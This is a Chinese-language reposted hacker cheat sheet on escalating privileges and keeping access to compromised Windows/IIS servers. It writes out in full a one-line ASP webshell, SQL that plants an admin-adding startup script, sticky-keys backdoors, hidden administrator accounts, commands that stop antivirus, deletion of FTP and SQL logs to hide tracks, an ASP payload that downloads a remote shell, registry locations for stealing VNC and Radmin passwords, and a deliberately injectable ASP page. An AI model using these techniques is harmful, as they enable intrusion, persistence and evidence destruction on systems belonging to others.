提權、***、經驗、技巧總結大全
原文:http://www.cnblogs.com/noevil/archive/2011/02/21/1960035.html
旁站路徑問題:
1、讀網站配置。
2、用以下VBS:
On Error Resume Next
If (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") Then
MsgBox Space(12) & "IIS Virtual Web Viewer" & Space(12) &
Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs", 4096, "Lilo"
WScript.Quit
End If
Set objservice = GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
Set OService = GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
If Err <> 0 Then WScript.Quit (1)
WScript.Echo Chr(10) & "[" & OService.ServerComment & "]"
For Each Binds In OService.ServerBindings
Web = "{ " & Replace(Binds, ":", " } { ") & " }"
WScript.Echo Replace(Split(Replace(Web, " ", ""), "}{")(2), "}", "")
Next
WScript.Echo "Path : " & VDirObj.Path
End If
Next
3、iis_spy 列舉(注:需要支持ASPX,反IISSPY的方法:將 activeds.dll,activeds.tlb 降權)。
4、得到目標站目錄,不能直接跨的。可以通過“echo ^<%execute(request("cmd"))%^>
>>X:\目標目錄\X.asp ”或者“copy 腳本文件 X:\目標目錄\X.asp
”像目標目錄寫入webshell,或者還可以試試type命令。
WordPress 的平臺,爆絕對路徑的方法是:
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
phpMyAdmin 爆路徑辦法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
網站可能目錄(注:一般是虛擬主機類):
data/htdocs.網站/網站/
CMD 下操作 *** 相關知識、資料:
#允許administrator撥入該***:
netsh ras set user administrator permit
#禁止administrator撥入該***:
netsh ras set user administrator deny
#查看哪些用戶可以撥入***:
netsh ras show user
#查看***分配IP的方式:
netsh ras ip show config
#使用地址池的方式分配IP:
netsh ras ip set addrassign method = pool
#地址池的範圍是從192.168.3.1到192.168.3.254:
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254
Cmd、Dos 命令行下添加 SQL 用戶的方法:
需要有管理員權限,在命令下先建立一個“c:\test.qry”文件,內容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然後在DOS下執行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
另類的加用戶方法:
在刪掉了 net.exe 和不用 adsi 之外,新的加用戶的方法。代碼如下:
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
vbs:
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
Cmd 訪問控制權限控制:
命令如下:
cacls c: /e /t /g everyone:F #c盤everyone權限
cacls "目錄" /d everyone #everyone不可讀,包括admin
備註:
反制方法,在文件夾安全設置裏將 Everyone 設定爲不可讀,如果沒有安全性選項:工具 - 文件夾選項 - 使用簡單的共享去掉即可。
3389 相關,以下配合PR更好:
a、防火牆TCP/IP篩選.(關閉:net stop policyagent & net stop sharedaccess)
b、內網環境(lcx.exe)
c、終端服務器超出了最大允許連接(XP 運行:mstsc /admin;2003 運行:mstsc /console)
1.查詢終端端口:
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.開啓XP&2003終端服務:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改終端端口爲2008(十六進制爲:0x7d8):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系統防火牆對終端服務的限制及IP連接的限制:
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled :@ xpsp2res.dll,-22009 /f
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");
select * from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啓動\\a.vbs";
BS馬的PortMap功能,類似LCX做轉發。若果支持ASPX,用這個轉發會隱蔽點。(注:一直忽略了在偏僻角落的那個功能)
關閉常見殺軟(把殺軟所在的文件的所有權限去掉):
處理變態諾頓企業版:
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
麥咖啡:net stop "McAfee McShield"
Symantec病毒日誌:
C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Logs
Symantec病毒備份:
C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Quarantine
Nod32病毒備份:
C:\Docume~1\Administrator\Local Settings\Application Data\ESET\ESET NOD32 Antivirus\Quarantine
Nod32移除密碼保護:
刪除“HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info\PackageID”即可
安裝5次shift後門,沾滯鍵後門,替換SHIFT後門:
5次SHIFT,沾滯鍵後門:
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
替換SHIFT後門:
attrib c:\windows\system32\sethc.exe -h -r -s
attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
del c:\windows\system32\sethc.exe
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
attrib c:\windows\system32\sethc.exe +h +r +s
attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
添加隱藏系統賬號:
1、執行命令:“net user admin$ 123456 /add&net localgroup administrators admin$ /add”。
2、導出註冊表SAM下用戶的兩個鍵值。
3、在用戶管理界面裏的 admin$ 刪除,然後把備份的註冊表導回去。
4、利用 Hacker Defender 把相關用戶註冊表隱藏。
安裝 MSSQL 擴展後門:
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
處理服務器MSFTP日誌:
在“C:\WINNT\system32\LogFiles\MSFTPSVC1\”下有 ex011120.log / ex011121.log / ex011124.log 三個文件,直接刪除 ex0111124.log 不成功,顯示“原文件...正在使用”。
當然可以直接刪除“ex011120.log / ex011121.log”。然後用記事本打開“ex0111124.log”,刪除裏面的一些內容後,保存,覆蓋退出,成功。
當停止“msftpsvc”服務後可直接刪除“ex011124.log”。
MSSQL查詢分析器連接記錄清除:
MSSQL 2000 位於註冊表如下:
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接過的信息刪除。
MSSQL 2005 是在:
C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
防BT系統攔截技巧,可以使用遠程下載shell:
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName, s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
Set Ads = Nothing
End Sub
eWebEditor_SaveRemoteFile "your shell's name ", "your shell'urL "
%>
防BT系統攔截技巧,可以使用遠程下載shell,也達到了隱藏自身的效果,也可以做爲超隱蔽的後門,神馬的免殺webshell,用服務器安全工具一掃通通掛掉了。
VNC、Radmin、PcAnywhere 的提權方法:
首先利用 shell 讀取 vnc 保存在註冊表中的密文,然後再使用工具VNC4X破解。
註冊表位置:HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
Radmin 默認端口是4899,先獲取密碼和端口,如下位置:
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter //默認密碼註冊表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默認端口註冊表位置
然後用HASH版連接。
如果我們拿到一臺主機的WEBSEHLL。通過查找發現其上安裝有 PcAnywhere 同時保存密碼文件的目錄是允許我們的IUSER權限訪問,我們可以下載這個CIF文件到本地破解,再通過 PcAnywhere 從本機登陸服務器。
保存密碼的CIF文件,不是位於PcAnywhere的安裝目錄,而且位於安裝PcAnywhere所安裝盤的:
“\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\”
如果PcAnywhere安裝在“D:\program\”文件夾下,那麼PcAnywhere的密碼文件就保存在:“D:\Documents
and Settings\All Users\Application Data\Symantec\pcAnywhere\”文件夾下。
搜狗輸入法 PinyinUp.exe 提權:
搜狗輸入法的“PinyinUp.exe”是可讀可寫的直接替換即可,位於搜狗安裝目錄下,例如:
“C:\Program Files\SogouInput\5.0.0.3819\PinyinUp.exe”
搜狗拼音輸入法,會定時調用這個文件進行升級,禁止還禁止不掉,呵呵,天然的後門。
WinWebMail 提權加用戶:
WinWebMail目錄下的web必須設置everyone權限可讀可寫,在開始程序裏,找到WinWebMail快捷方式,接下來,看路徑,訪問“路徑\web”傳 shell,訪問shell後,權限是system,直接放遠控進啓動項,等待下次重啓。
沒有刪cmd組件的可以直接加用戶,7i24的web目錄也是可寫,權限爲administrator。
1433 SA權限構建注入點:
<%
strSQLServerName = "服務器ip"
strSQLDBUserName = "數據庫帳號"
strSQLDBPassword = "數據庫密碼"
strSQLDBName = "數據庫名稱"
Set conn = server.CreateObject("ADODB.Connection")
strCon
= "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" &
strSQLServerName & ";User ID=" & strSQLDBUserName &
";Password=" & strSQLDBPassword & ";Database=" &
strSQLDBName & ";"
conn.open strCon
Dim rs, strSQL, id
Set rs = server.CreateObject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.Close
%>